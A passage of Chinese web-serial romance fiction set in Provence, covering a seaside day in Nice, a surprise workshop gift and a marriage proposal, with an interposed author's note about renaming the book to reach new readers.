“下次吧,下次一定带去你看看。”佐伊似乎做下了某些决定。 “今天也可以去。”罗南停下来说,“反正我们下午没有什么事情,去做什么都可以。” 昨晚回酒店的路上,卢尔马兰的艺术家们提到尼斯有许多好玩的新体验,虽然罗南对这些完全不感兴但他能看出佐伊很跃跃欲试,同时也能看出佐伊在尼斯有许多想去的地方。 既然这样,他就带佐伊去。 “不!”佐伊欢快的跑到沙滩上,“今天我要和你在尼斯过一天悠闲生活,在海边散步、聊天、喝酒.就这些,没有别的!” 她走到一座像凯旋门一样的打卡点后,兴奋的问: “你的木工坊是不是要竣工了?我已经迫不及的要去买机械工具了!” 佐伊对购物感兴趣、对机械工具也感兴趣,那个木工坊简直是为她量身定制的.这次购物体验一定可以让她获得多重满足。 罗南今天出来的时候特意带了相机,他憋着笑给佐伊拍了一张照片,心里想着: 要买的何止是机械工具,我们的工作室要添置的东西可多了等明天回去你看到里面的场景就知道了。 突然,罗南低头看了一眼手表上的时间。 这个时间托尔应该已经搭车抵达了卢尔马兰,说不定已经看到他留下的那些东西了。 不知道他能不能完成这个重要的任务? 坦白讲,罗南绝对相信托尔这个人,但对他的‘审美’没有信心。 虽然已经通过了好几通电话、罗南还留下了设计手稿.但这个大直男见没见过求婚? 知不知道要如何布置呢? “去不去?”佐伊打断了罗南的思绪。 罗南回过神来: “去哪儿?” 佐伊插着腰说: “我说,我们走了好久,要不要找个地方坐下来一边聊木工坊里的设备,一边等着看日落?没有预定,风景好的餐厅很难等到位置.我们应该早点去。” 罗南和佐伊找了一个可以看到美丽海景的餐厅,从下午一直坐到了晚上日落。 聊过去的往事,聊现在的感想,聊未来的生活.虽然每天都会见面,但他们永远有聊不完的话题,似乎有无数的话想要对对方说,又有无数的问题想要问对方。 直至服务员拿来第5瓶粉红酒并将它打开时,佐伊可爱抱了一下酒瓶子: “我们喝了5瓶粉红酒,这何尝不是一种疯狂?” 她迫不及待的给罗南和自己倒好酒: “时间还早,看看我们今天最终能喝几瓶,这样回去歌迪亚和薇薇安她们问起来,我也有可以说的。” 小情侣今天是悠闲之行,但其他卢尔马兰的艺术家们都出去疯了。 狂欢节把他们过嗨了。 佐伊的话让罗南想到了一个新的话题: “你喜欢疯狂还是安静?” 今天他们一直是这样天马行空的聊天,想到什么说什么,这是罗南和佐伊都很舒服的相处模式。 佐伊思考了几秒: “在工作中我是疯狂的,会因为梦里的一个灵感在深夜跑到工作室做模具,也会因为调不出一个满意的颜色而不停折磨自己,但在生活中我又是安静的.我喜欢做倾听者、喜欢观察别人,还喜欢安静的生活。” 这话不假,罗南来普罗旺斯后的很长一段时间里,佐伊都是聚会里的‘隐形人’,这个情况在卢尔马兰来了艺术家群体后才逐渐改善。 罗南拿起酒杯和她碰了一下,笑着说: “说实话,知道你是如此的迷恋尼斯后.我以为今天下午我们也会去做些‘疯狂’的事,例如和薇薇安一样去体验F1赛道,或者去体验滑翔伞。” 佐伊晃动起粉红酒杯,脸上有挥之不去的笑容: “尼斯好玩和好看的东西有许多,但最迷人的地方就是这里的大海。” “确实,这里是法国最漂亮的一条海岸线。”罗南忍不住夸赞道。 佐伊眸光清澈的说: “就是因为喜欢尼斯,才想和你一起好好看一看这里最美的风景,你知道吗,大学四年我都是自己来看这么美的风景,今天终于有人陪我了。” 佐伊水光明媚的浅蓝眼眸炙热的看向罗南: “而且我们的日子还很长,未来一定会再来尼斯,其他景色可以之后慢慢看,不是吗?” “当然。”罗南保证似的说,“我给你在尼斯买房子,推开门就是大海的那种。” 佐伊没有听出罗南语气里的坚定,像可爱女孩一样笑着说: “还有,无论未来我们在一起多久,都要像今天一样,留下足够多的时间好好聊天、认真聊天可以吗?我很喜欢今晚的氛围和感觉,这就是我想要的生活的样子——稳定、安宁、丰盈并且有归属感。” 稳定、安宁、丰盈、归属感罗南不停在心中重复这些单词。 他发誓,一定要给佐伊她想要的幸福生活! 罗南不知道昨晚艺术家们是几天疯狂回来的,反正8点一过他就挨个房间的去砸门、催促大家赶紧动身回卢尔马兰。 朋友们,你们疯狂完了吧? 该轮到我疯狂了。 请假条兼重要说明(必看!!!) 上次请假条时大家的留言我都看了,但和很多大佬聊过后,还是决定换一个书名。 大家先不要着急生气,听我慢慢解释。 我之前的书名里有三个核心元素:1986、普罗旺斯和幸福生活。 事实上我的文风和传统年代文完全不同,也没有什么家长里短,我还研究了许多忠实书友的书架,发现只有不到15%是忠实年代文的读者,其他读者口味都挺杂的。 既然这样,1986真的没必要保留,反而有可能会筛选走一部分读者。 第二个元素是普罗旺斯这个地名。 最开始想要改名的时候,我认为这个地名是必须保留的,而且只能是普罗旺斯,不能是南法,也不能是法国或者法兰西。 但是这半个月和同行们聊书名我突然发现,有一些人根本不知道普罗旺斯在哪儿、也对这里没有什么概念,更没什么向往之情。 我开始迟疑了——有多少读者是被普罗旺斯这个地名所吸引进来的? 会不会更多读者一看到普罗旺斯,心想这是什么破地方,外国的不看不看,直接滑过了。 讲到这里,就要解释下为什么要改书名。 在起点,海外种田是一个很小很小的赛道,受众的读者群体很小,连3%都没有。 但系统的机制只会把书推给画像上有可能对这个类型感兴趣的读者,这就造成我的书永远只在一个很小的人群里面展示和推介......周而复始、没有休止。 现在已经100多万字,发书也有7个月了,对海外种田、对普罗旺斯感兴趣的读者早就点进来看了,再在这个小小的圈子里推荐效果只会越来越差(这也是很多作者写到后期没有激情的原因)所以要改个书名,让算法重制,去圈定新的目标读者。 你说我的成绩有多差吧......好像也没有。 4000多均和其他类型的书比不了,但在海外种田这个赛道应该算还可以......近几年这个赛道很冷清。 但如果不框定在海外种田,把它看作是一本治愈、轻松的日常向小说那么受众大很多,甚至许多读者还留言让我改去轻小说:) 这样分析下来,普罗旺斯这个地名也可以不要,把所有的异域元素都放在简介里展示,弹壳大神的《黄金渔场》也没有写年代和地名。 最后一个元素,幸福生活是一定要保留的,这既是核心也是金手指。(因为我固执的要保留这个元素,还被某大佬骂了认知太局限,说改书名就是要改的彻彻底底、面目全非让人认不出来......但我真的不想删--#) 对于作者来说,书名的意义并不仅仅是概述一本书的内容,还要提起读者的兴趣并完成第一轮筛选,让他在茫茫书海里发现这本书、愿意花费几秒钟的时间点进去看一眼,哪怕多1个点击都是宝贵的。 我的想法是,提一个新‘噱头’出来和‘幸福生活’一起组成新的书名,这个噱头暂时定的是葡萄。 所以新书名是《从八亩葡萄园开始的幸福生活》。 我知道一定会有很多人觉得新书名不好,我完全理解,放弃旧书名我也不舍得,从开始构思到今天我用旧书名写了8个多月了......天知道这半个月我过的有多难熬,在改和不改之间反复横跳,问了不知道多少个人的意见,书名起了七八十个,精力不停的被拉扯。 但趁着我现在还有创作热情,必须得折腾一下,至少要努力试着从海外种田这个小赛道逃出来,把路走宽一点。 应该有很多人在养书,所以新的名字会在下周修改,给大家造成的不好体验我深表歉意,希望大家能体会我的苦衷,我只是想把这本书写好、写长。 发出这个单章,代表这件苦恼了我半个多月的事终于有了一个着落,今晚休息一天去海拉鲁遨游,和人马老师沟通沟通感情,明天我又是精力满满的幸福小狗了! 欠的字数明、后两天补。 好了,要说的就是这么多,鞠躬! 第386章 送给佐伊的求婚礼物 罗南已使出了全身的本领,但让所有人收拾好东西、离开民宿已经接近中午。 都这个时间了,自然要留在尼斯吃个午饭再回家,当大家坐上回程的汽车,时钟指向了一点半。 从尼斯开车回卢尔马兰要200公里,沿着海岸线路过戛纳,后面的行程基本都是山路,非常难开。 来的时候用了4个半小时,但在明黄色头车带领下,回去的路程只用了不到4个小时。 五点多,见到路边熟悉的餐厅指示牌,坐在第二排的歌迪亚忍不住评价: “罗南开车颇有一番佐伊的味道了,你们夫妻俩真是越来越像。” 佐伊的开车风格是‘稳准狠’,罗南的开车风格是‘狠狠狠’。 这一路被他开出了赛车的味道。 薇薇安在车上睡了一会,她睁开眼睛伸了个懒腰: “什么夫妻,他们只是情侣、是谈恋爱的关系佐伊现在还是我们的,你别这么早给她扣上帽子。” “对对对,是情侣。”歌迪亚赶紧纠正,“但他们有的时候真的好像夫妻啊,你听听他们聊的是什么,他们在聊要不要给家里添一个微波炉、买什么沙发、是不是要换新床而且完全当我们三条单身狗是透明的!” 车厢的空间就那么大,2平米多.但却分成了两个阵营。 后排的歌迪亚、薇薇安和宝莱特聊她们的,前排的罗南和佐伊他们俩的。 单身狗阵营试图融入小情侣的话题,但是插不进去。 小情侣也不想被人打扰,聊了一路关于新家装修的话题。 在佐伊的概念中,罗南的木工坊马上就要竣工了,等那里一弄好,他们就要一起装修新房子。 “就这么定了,下次去阿普特,我再买两个微波炉。” 尼斯是大城市,民宿里配备了微波炉,佐伊被狠狠种草了,之前她去阿普特买过一个,但那是给餐厅用的,没想到原来普通家庭有个微波炉也那么方便。 车子终于驶入了卢尔马兰村,罗南的这颗心也终于放下了: “两个可能不够,买三个吧。” “要那么多吗?”佐伊收拾起随身的东西,准备下车,她家距离村口最近,罗南应该会第一个送她回家。 “可以给工作室配一个。”罗南脸上的笑容快藏不住了,“嗯今天工作室差不多修好了,去看看吗?” “建好了?”佐伊的眼睛中出现期待的光芒,她放下手里的东西,“那先送她们三个回家吧,我去看看。” “好。”罗南就知道佐伊一定忍不住要去看一看! 但后排的三个单身狗也不打算回家了,嚷嚷着要去看看佐伊和罗南一起装修婚房的重要木工坊。 罗南没有阻拦,即使这些人不去,一会他也会找人把朋友们叫来。 人生中的重要时刻,需要有朋友和亲人在场! 佐伊好几个月没来罗南家,远远的看到熟悉的房子轮廓和葡萄园,她忍不住贴近玻璃,想要努力看清楚: “木工坊这么大吗?比驴棚大多了。” “那是木工坊?”宝莱特把车窗摇下来,把头探出去,“那不是个马厩吗?” “好大。”薇薇安也看向那个新出现的大家伙,回头笑着问佐伊,“这么大的地方,你得买多少木工工具才能填满啊。” 佐伊身边的人都知道,她在为即将要添置机械设备而兴奋。 不过我的朋友,这次的任务很艰巨啊 佐伊笑不出来了,这也太大了吧? 需要这么大的地方放木工工具吗? 下了车,佐伊主动对罗南说: “我们做木工用不了这么大的地方,想想还能用它做什么吧。” 佐伊甚至认为只用四分之一的面积就足够了。 罗南兴奋的推开门: “其余地方干什么已经安排好了,快进去看看吧。” 开门看到的第一个区域是宽阔的木工工坊。 中间有一张巨大的操作台,足可以容纳四个人同时进行木工工作,旁边还有小一些的工作台,如果不想‘同台竞技’,完全可以有各自的空间。 佐伊一进来便惊呼出口: “你做好除尘系统了?还买了最好的?” 她地上和墙面上看到了许多管道,那是这个年代最好的一套本土除尘设备。 罗南得意的挑眉: “你最注重工作安全,当然要配置成最高。” 佐伊爱不释手的摸了摸那个巨大的工作台,用嗔怪的语气说: “不是说好之后都由我来负责吗?” 她不知道说了多少次,未来和装修有关的每一分钱都由她来支付。 回答她的不是罗南,而是她的好朋友薇薇安: “佐伊,你快过来!这次你的口袋要遭殃了!” 薇薇安不了解木工,对此也不感兴趣,但她被这里的陈列样式所吸引了。 一进来的巨大工作台太扎眼了,忍不住让人把注意力放在它的上面,但再仔细看看这四周,‘玄机’相当的多。 每一面墙上都打满了储物格或者挂工具的架子,有一小部分挂上了罗南原先的工具,但更大的区域是空着的。 宝莱特原地转了一圈: “这里全部摆满工具一定震撼级了,我有了一个新的灵感,一个关于机械的硬科幻灵感!” “还满意吗?”罗南在佐伊的身边问,“能满足你的购物欲了吧?” 他特地叮嘱卡福多多的做出储物空间,因为他和佐伊都太痴迷于工具和器械了。 在工具的包围下,未来这里一定是器械控小情侣最有安全感的地方。 佐伊已迫不及待的开始规划: “这里放整块木材、这里放短木材、这里放所有的据、这里放刨子、这里放敲击工具” 她忍不住翘起脚: “我一定要把这里填满!” 还好还好,这么大面积的区域我还是能填满的,再大就不知道买什么了。 下一秒,歌迪亚的尖叫声把大家吓了一跳。 歌迪亚对木工一点兴趣都没有,看到有一扇门关着,好奇的打开看看里面是什么。 从外观看,这个马厩的面积不应该只有这么大,她猜门后一定‘另有乾坤’! 这一看,完全无法淡定了。 “佐伊,你居然有一个将近100平米的独立工作室?!” 下一个区域是罗南给佐伊准备的陶瓷和玻璃工坊。 主角佐伊木讷的走过来。 完全不理解歌迪亚说的‘独立工作室’是什么意思。 我的工作室在家里啊. 走到门边的她,看到里面的样子后完全傻了,甚至都没有迈步进去.就在门口愣愣的看了好几秒。 我居然能拥有一个这么大、分工这么详细的独立工作室吗这是佐伊脑袋里涌现的第一句话。 她现在的工作室只有20多平米,要兼顾打粉、调色、雕刻、塑形、上色、打磨等十几、二十个工序而且是两种工艺,所有工作都是混在一起的。 但她在这个区域看到了专门打粉的工作台,那后面有各种颜色的彩色玻璃和一台打粉机;她看到一张专门做石膏模具的桌子,下面的石膏、硅胶和刻刀等工具已经放好,还有独立的拉胚区、摆好各种型号刷子和水壶的填色区域.等等。 这里简直是手工从业者的天堂。 一只温暖的手掌推着佐伊走了进去,罗南温柔的声音出现在耳畔: “未来和木工一样,有可能产生大量粉末的工作都放在这里,除尘系统也覆盖了这个区域。” 佐伊回手紧紧拉住罗南,感动的不知要说什么好。 “我真的羡慕了!!”宝莱特彻底崩溃。 上一个区域木工坊是罗南和佐伊的爱好,她看到一点都不羡慕。 木工有什么好玩的? 但这里是实实在在的工作室啊。 如果她能有这么大、配置这么齐全的工作室,诺贝尔奖文学奖就是她的目标了!! 薇薇安同样很羡慕: “卢尔马兰的艺术家里,能有这么大画室的人都几乎没有。” 画家的工作室面积普遍也很大,但这里做画室绰绰有余。 罗南突然打开一道通往室外的门,笑着对几位女士说: “快出来参观下佐伊的窑吧。” 佐伊这次彻底不淡定了: “你把我的电窑搬来了?” 那个电窑有300公斤重! 罗南对她眨了眨眼: “不是,是新的。” 以前卢尔马兰只有佐伊一个艺术家,一口柴窑都找不到。 因为条件原因,佐伊毕业回到卢尔马兰后一直使用的是电窑。 这种被新时代中小型陶艺和玻璃工作室所喜爱的窑炉有许多优点,例如温度更加稳定、可以精准控温.但也有很明显的缺点,那就是釉色变化不如柴窑丰富,也不够自然。 罗南住在卢尔马兰村子的外围,整个葡萄园的面积就是他家的范围,这么大的地不弄两口柴窑说不过去了,而且现在卢尔马兰的艺术家多了,说不定未来会形成新的规模,所以他组织卡福的伙计在后院搭了两口柴窑,说不定还能对佐伊的工作有帮助呢。 搭柴窑的技巧来自他的【制陶】技能,这个技能他在去年夏天就升到3级了。 升到2级时,系统依旧给了许多和陶瓷工艺有关的知识,其中就有几种简单的柴窑修建。 吕贝隆做烧制工艺的手艺人不少,耐火砖和耐火泥都很好找。 罗南把窑炉修建到一个距离工作室不远背风向阳的地方,担心下雨,又在这片区域上面搭了顶棚,既通风又可以挡雨。 “我的上帝——”歌迪亚从窑里面出来,“这是工作的地方吗?环境搞的这么优美,我都可以搬桌子和椅子来乘凉了,你们家招烧柴女工时请记得我。” 佐伊仔仔细细的看了每一个细节,兴奋的像是孩子一样。 终于有柴窑了! “你找谁搭的?”佐伊问罗南。 “找梅纳村老师傅要的图纸,卡福他们建的。”罗南半真半假的说。 都兴奋成这个样子了,佐伊依然不忘记‘安全’: “这里有明火,需要水源,之后我拉一根水管来。” 安全永远是排在第一位的。 罗南做了一个惊讶的表情,似乎没想到还有这一条原则,不过很快他又眼前一亮: “防火这点我不懂,但我担心你在里面摆完东西弄脏了手,用没有使用完的材料在旁边建了个洗手区,就在旁边。” 亲爱的,你说的这些我都考虑到了! “上面是洗手的地方,下面是打水的地方。”罗南阳光灿烂的说,“没想到无心之举还派上用场了。” 来到户外洗手区,歌迪亚更想来当‘烧柴女工’了。 在吕贝隆生活,石材非常普遍,哪里都能看到。 但为什么罗南这个石材洗手盆放在这个地方就这么好看呢? 谁能告诉告诉我,这是为什么! “把椅子摆这也行。”歌迪亚四处打量,似乎在寻找还有什么休闲地点。 “罗南家后院有的是休息的地方。”佐伊太喜欢这个烧制区了,这是她做梦都不敢想的工作环境。 现在的感觉像是做梦一样! 包括歌迪亚在内的几个女孩都是去年秋天后来卢尔马兰的,没有参加过在罗南家后院举行的娱乐活动。 听到佐伊的话,她们抬腿就要去更远的地方看看,但罗南把她们拦了下来,像导游一样,带她们去了相反的方向。 “别着急走,建完这个洗手区域,材料还是没消耗完。”罗南一边带路,一边看佐伊,“上次你给帕特里西亚小姐做定制品,只有一个小玩意,却烧了那么大一个窑,我觉得有点浪费时间和精力,所以又给你搭了一个小窑。” “这也太可爱了!!”歌迪亚几人排队把脑袋探进这个像鸡蛋一样的白色小窑炉。 佐伊用力点了几下罗南的胸膛,激动的说: “你就是太细心了!这都考虑到了?” 事实上,只有大窑局限性很多,因为佐伊经常要搞实验,还要试色,这个小窑完美的解决了她的需求,效率大大提升了。 “你也太疼佐伊了吧。”薇薇安一边摇头一边叹气。 身为佐伊的好朋友,虽然罗南一切条件都很好,但就是总有一种,这男的配不上我们佐伊的莫名感受,但此刻她突然觉得——这门婚事我同意了。 罗南对佐伊真的没话说! 罗南抓住佐伊的手,笑着对那几个女孩说: “我不疼佐伊疼谁呢?” 歌迪亚从小窑里钻出来,意犹未尽的说: “这个工作室太棒了,真的太棒了,佐伊,你考虑收徒弟吗?不需要烧柴的日子,我来跟你学烧窑怎么样?” “你不要店了?”宝莉特把她顶开,眉眼带笑的对佐伊说,“佐伊,我觉得写作并不适合我,烧窑更加适合我,你愿意收我为徒吗?” 佐伊幸福的抱住罗南靠近自己那一侧的胳膊: “听罗南的,罗南同意我就同意,罗南想和我在这过二人世界,我就不让你们来。” “哎呀,一个工作室有什么好过二人世界的,要过回家过。”歌迪亚对罗南眨了眨眼,“是吧罗南?” 罗南低头看了一眼佐伊: “但谁说这里未来不能成为另一个‘家’呢?” 当几位女士发现这个马厩还有2楼时,用恐怖的眼神看罗南。 “你真要把这里当家吗?”歌迪亚瞪大眼睛问。 2层现在还空无一物,不过这个面积足够当家了。 不是,建一个2楼是什么意思呢? 罗南今天的眼睛里只有一个人,那就是佐伊。 他不顾其他人的提问,专注的给佐伊介绍未来这里每一个区域的功用和它未来的样子: “楼梯这里,我打算打一个大桌子,未来你画图和看书的时候坐在这里,这里环境好,有助你思考,后面再打一整面墙的书架,把你的书都搬来,你家里那些因为摆不出来只能放仓库里的也都拿来,这里地方大。” 罗南又向前一步,指着前面说: “这里,我打算弄成一个休闲区,有沙发,有电视,你工作累了就坐到这里休息。” 突然,他指向最远处的位置: “看见那个小房间了吗?那个房间再摆一张床,想睡觉也可以的。” 之后罗南指着前方的一面墙说: “那里未来是厨房,我留了上下水,以后我如果要设计新的甜品也来这里,陪你一起工作!” 佐伊没有说什么,歌迪亚这几个女人彻底疯了。 她们的眼前已经出现画面了! 该死啊,更喜欢这里了!! 罗南完全忽视了那几个人,眼神真挚的看着佐伊: “希望你能喜欢我送你的礼物。” 从看到楼下的独立工作区域开始,佐伊就感觉一阵阵眼眶发酸。 罗南为她考虑的太多了。 而且他一直在默默观察自己的工作状态,工作室的每一处细节都是那么的贴合佐伊的习惯和需要。 好讨厌啊你,为什么总是能默默发现这么多,又默默做这么多呢! “为什么要送我这么贵重的礼物?”佐伊用手指快速扇动了几下眼睛,“你这样会显得我的那些微波炉和咖啡机像过家家一样。” 她不怕在罗南面前哭,但她不想在歌迪亚那几个人的面前哭。 她的眼泪只能给最爱的男人看!! 罗南深呼吸了一口,拉着佐伊的手,打开二楼的一扇门,这里可以直接通向后院的其他方向,是他们今天没有去过的。 从尼斯回来的时候已经下午5点多,又经过了长时间的工作室参观,外面的天色已黑。 佐伊还没下到一楼,就看到了这一侧院子的景象。 随即她的心脏猛然停跳了一拍。 下一秒手指发麻、耳膜鼓涨。 第387章 送给罗南的订婚礼物 佐伊只用了0.01秒便反应过来这是什么情况,随即大脑进入了混乱状态。 罗南这两天都和我在一起,他什么时候布置的这里? 我今天穿的是什么衣服? 现在的妆容够隆重吗? 现在补妆还来得及吗? 在佐伊进入认知错乱的同时,罗南的脑海中也思绪纷涌。 他给托尔的计划里写着,这条路的两侧只需要有一点烛火照明,指引他们去往布置好的求婚场地即可。 但地上的烛台是哪里来的? 花又是谁搞的? 头顶的灯又是怎么回事? 见到眼前的场景,两位当事人的大脑都进入了快速运转模式,但这也只是一个呼吸的时间内发生的事情而已。 很快,走在后面的歌迪亚几人也看到了院子里的场景。 这三个女孩几乎在瞬间就要惊呼出口,但她们身后诡异的出现了几个家伙,用力把她们的嘴捂住。 歌迪亚、薇薇安和宝莱特像被绑架一样,被一群大汉带离了这片区域,只能眼睁睁的看着她们的好姐妹佐伊和罗南携手走向这条光路的尽头。 “再见到佐伊,她是不是无名指上要出现戒指了?”被松绑的瞬间,歌迪亚就要继续追上去。 身后的康奈尔对她做了一个嘘的手势: “从这边走,我们都在那里等着看呢。” “还设置了观众席?!”歌迪亚突然反应过来,现在不是吃瓜的时候,而是问责的时分! 她回头生气的对康奈尔说: “这么重要的事你们怎么能瞒着我?至少要让我参与进来啊,一群农夫能懂浪漫的求婚吗?” 歌迪亚以为这里是农夫们布置的。 罗南把这件事交给农夫们办真的是疯了! 你应该找我啊!! 康奈尔撇着嘴说: “我们只比你们早到了半个多小时而已。” “那这里是谁布置的?”薇薇安今天不知第几次惊呼出口。 康奈尔带着几个女生抄近路去往光路的尽头: “不知道,有一个大块头下午突然出现在罗南的餐厅里,说罗南要求婚了,让我们快去见证。” 一条短短几十米的路,佐伊和罗南走了三分钟还没有走完。 前半程两个人默契的沉默了下来,谁都不说话。 走到了中间,佐伊突然开口问: “策划多久了?” 罗南忍不住咧开嘴: “从打算建这个工作室开始,不能空着手求婚吧?” 估计连八岁的小孩都知道他接下来要做什么,罗南索性也不装了。 刚刚看到工作室里的一个个惊喜,佐伊总有想哭的冲动。 不知为什么,走到这条路上,她确认自己比刚刚更加激动,因为手都开始颤抖.但想哭的感觉突然消失,可能脑袋里蹦出的问题太多,工作超载,负责哭的这部分大脑去干别的了。 “但你却让我空着手。”佐伊咬着嘴唇说。 她现太乱了,无论是情绪还是心里,连求婚时女方是不是也要给男方戒指这个问题都想不清楚了。 需不需要? 怎么不记得了呢? 同时她还开始担心起了其他的事情。 这是她人生中非常重要的一个时刻,爸爸、妈妈和弟弟必须要在场。 如果现在跟罗南说,先等一等。 等我给家里打个电话.他会不会崩溃? 对了,朋友也要在场。 歌迪亚她们呢? 怎么没动静了? 几乎是在同一时间,佐伊在这条用鲜花和烛火铺设的道路尽头,见到了她心心念念的家人和朋友,甚至比她想到的人还多。 她看到了索格岛的器物店老板,那个总是和她讨价还价、但每次又都会帮她把没要的器具搬回车上的好心家伙。 佐伊常常跟罗南开玩笑的说,他是自己的恩人,没有他的店铺,自己可能早就饿死,放弃艺术做别的去了。 他居然来了? 佐伊还看到了梅纳村集市摊位对面的那对夫妇,乌尔班娜和她的丈夫。 佐伊不再摆摊后他们再没见过。 好想她啊! 一个多月前她曾跟罗南说,想再去梅纳村的集市体会一次摆摊,但总是一次又一次的忘记。 佐伊又看到了居住在瓦朗索勒的铁艺艺术家赫黛利这是她大学最好的朋友! 昨天在海边喝酒时,佐伊还在跟罗南抱怨,好久好久没见赫黛利了,等今年薰衣草盛开要去看看这个老同学。 佐伊在人群里看到了许多熟悉但又惊喜的面孔。 “这些人都是我和你提过的”佐伊轻轻的呢喃。 罗南没有见过器物店的老板,他是从自己嘴里认识他的,类似的人还有好几个。 罗南笑着说: “这些都是你生命里非常重要的人,我把他们邀请过来了。” 受宗教、南法传统伦理与法国浪漫主义影响,普罗旺斯地区的求婚仪式无比神圣。 传统的普罗旺斯式求婚,一定要有规定数字的双方长辈在场,如果人数不够或者一方没有参与,有可能会被家族所不承认。 甚至有些思想陈旧的人认为,跳过求婚就结婚是一种道德污点。 了解到这里的习俗后,罗南才策划了这场隆重的求婚仪式,把佐伊身边重要的朋友和亲人都邀请来了。 对于天性热情、爱凑热闹的普罗旺斯人来说,被邀请见证神圣的求婚仪式是比赚钱更加重要的事,大家纷纷放下手里的事情,来这里给这对新人送上最美好的祝福。 佐伊又在人群里看到了更多熟悉的脸孔。 有一个个挂着坏笑的农夫、有几个小时前还在一起吃饭的卢尔马兰艺术家、有看着她长大的邻居阿姨,还有红着脸给她送苹果的小朋友。 然后是弗雷迪、弗洛西、阿兰.这些看着她长大的长辈们都来了。 他们有的在大笑着挥手,有的在克制的咬拳头,还有的在悄悄抹眼泪。 佐伊明明还是个孩子啊,怎么一不留神.就长这么大了呢? 见到这么多熟悉的面孔,佐伊的情绪系统终于恢复了一点知觉,鼻子又开始发酸了。 不过她在苦苦的控制自己,不希望在这么多人的面前哭泣。 今天是开心的日子啊,不要哭。 突然,佐伊在一棵树下,看到了一脸灿烂笑容、似乎回到了小时候的弟弟维埃里。 维埃里龇出洁白的小牙,远远的对姐姐做了一个加油的动作,之后又笑着指了下罗南,伸出了一个大拇指,像是怕姐姐会拒绝罗南的求婚似的。 看到维埃里熟悉的笑容,佐伊的情绪开始难以抑制,两个鼻子都不通气了。 紧接着,佐伊又对上了父亲哭红了的眼睛。 “宝贝女儿,你们一定要幸福。”路易的肩膀剧烈颤抖起来。 这只是求婚,不是结婚,我为什么会伤心成这样呢自从接到消息起,路易也进入了认知错乱的状态里。 最后的最后,佐伊抱住了同样在苦苦克制情绪的妈妈莉亚。 莉亚轻轻推了一下女儿的肩头,用像是小时候哄佐伊睡觉时轻柔的语气说: “快去吧,罗南在等你呢。” 说是求婚场地,其实就是罗南家后院最粗最大的一棵树下。 今天的求婚原本应该在白天举行,但计划赶不上变化.拖到了晚上。 罗南原以为到了晚上会影响这里的氛围,因为这周围并没灯,但走在那条光路上时他就发现了变化——那棵树上居然挂上灯了! 这让求婚仪式的氛围比他预想中的更加浪漫和旖旎。 在父母和弟弟的鼓励下,佐伊终于走到了路的尽头、树下罗南所站的位置。 罗南从口袋里拿出准备了2个月之久的戒指,单膝跪地。 他的求婚宣言没有什么华丽的词藻,因为他和佐伊之间不需要什么‘海誓山盟’.一切早已明晰: “从我双脚踏上普罗旺斯第一天起,我们就一直以各种不同形式的身份陪伴着彼此,陌生人、朋友、情侣.此刻我想换一个身份,一个永远都不会再更改的身份。 我希望每天早上见到的第一人是你,每天第一个说早安的人是你,每天第一个分享面包和咖啡的是你,每个春天陪我吃卡瓦永甜瓜的人是你、每个夏天与我一起去看薰衣草的是你、每个秋天分享丰收喜悦的人是你、每个冬天依偎取暖的人是你.我想用余生,在普罗旺斯的三餐四季里写满我们的幸福故事。” 罗南抬头看向他的女孩: “你愿意成为我的妻子吗.佐伊?” 佐伊脸上的泪水早已决堤,一颗颗珍珠顺着脸庞,滴滴哒哒的散落在普罗旺斯的土地上。 但那不是眼泪,是他们播种的幸福。 “我愿意。”更多的幸福挥洒而出。 佐伊泪里带着笑,笑里带着泪,紧紧的和罗南拥抱在一起。 她不会惧怕在公众面前掉眼泪了。 因为幸福到极致的时候.人也是会哭的。 未来的每一滴眼泪,她都会为幸福而流。 求婚仪式无比成功。 很大一部分功劳归咎于今天的场地布置。 在罗南和佐伊接受完亲朋好友的祝福后,现场居然出现了一支小型的乐队,他们用一首首脍炙人口的爱情歌曲,将今天的求婚现场烘托的更加美好了。 罗南四处寻找托尔的身影。 想要好好的感谢一下这位巴黎的老同学。 但人在哪儿呢? 结果托尔没找到,找到了闻讯而来送祝福的布兰科。 众所周知,在卢尔马兰一个人知道的事情全村都会知道。 很快,罗南家就要挤满来送祝福的村民了! 这一次布兰科没有礼貌的打完招呼就走,而是迫切的对罗南说: “我是来给你送订婚礼物的。” 谁说只有女孩子能收到礼物? 男孩子也可以啊。 第388章 兑现承诺的时刻 见布兰科一脸郑重,肯定是有重要的事情要说,罗南赶紧把最信任的亨利叫到身边: “去找找我的同学托尔,就是把你们叫来的那个个子很高很壮的家伙,替我好好招待他一下,我马上回来。” 亨利正色道: “放心吧罗南先生,我现在就去找您的同学。” 之后罗南又亲了一下未婚妻佐伊: “我离开一下,马上回来。” 佐伊轻轻抚摸了几下罗南的后背: “我会替你照顾好大家的。” 做完这些,罗南对布兰科抬了下下巴: “边喝边说?” 罗南和布兰科认识一年了,但他们只喝过两次酒。 第一次是确定把粉红酒定成卢尔马兰特色之路那晚,布兰科开心的在罗南的餐厅里喝多了,吹了许许多多的牛皮,罗南始终记得。 第二次是罗南去政府大楼找布兰科聊事情,布兰科特地找人出去给罗南买了粉红酒。 在普罗旺斯,认识这么久的朋友只一起喝过两次酒非常罕见,这只能说明,他们两个每一次见面都是聊工作。 “今天喝着酒聊。” 罗南把布兰科带到了家里,此刻亲人和朋友都在工作室里参观或者在美丽的院子里拍照狂欢,这里反而是最清净的。 “不用倒太多。”布兰科用手稍微拦了一下,“今天你不该是属于我的,我长话短说。” 罗南的两根眉毛不由得轻快挑起: “没事,佐伊不会在意的。” 他的未婚妻是这世界上最好的女孩! “哦,这可不是绅士应该做的。”布兰科幽默的耸肩,“不过这个礼物在我手里放了太久,在今天这个值得纪念的日子送给你,应该是个不错的选择。” ‘礼物’这个单词布兰科说了两次,罗南疑惑的看向他: “到底是什么事情?” 布兰科拿起桌子上的粉红酒瓶子,认真的查看上面的标签和出产信息。 之后他笑着在‘斯特斯加’这个名字上敲了两下: “这个。” “这个怎么了?”罗南不解的问。 布兰科把斯特斯加的大logo举到罗南的面前: “卢尔马兰政府把斯特拉斯酒庄买下来了。” “是你们买的?”罗南似乎被薇薇安附体了,发出了不属于他的震耳高音。 “你已经知道这个消息了?”胸有成竹的布兰科有些意外。 罗南冷静了一些,但语气仍显高亢: “我和斯特斯加的老板杰罗姆是朋友。” 布兰科侧了下脑袋,把酒瓶放回原处: “真是没想到,你的朋友居然这么多不过这是个好消息。” 布兰科脸上的笑容愈发灿烂,像是一朵盛开的鲜花: “这代表你也许不是从零起步.我们认真评估了你的提议,认为卢尔马兰的确需要一个属于自己的粉红酒品牌,你愿意接下这个重任吗?” 毫不夸张的讲,罗南眼前又出现了那条铺满烛火和鲜花的光路。 他现在和一个多小时前的佐伊没有任何区别! 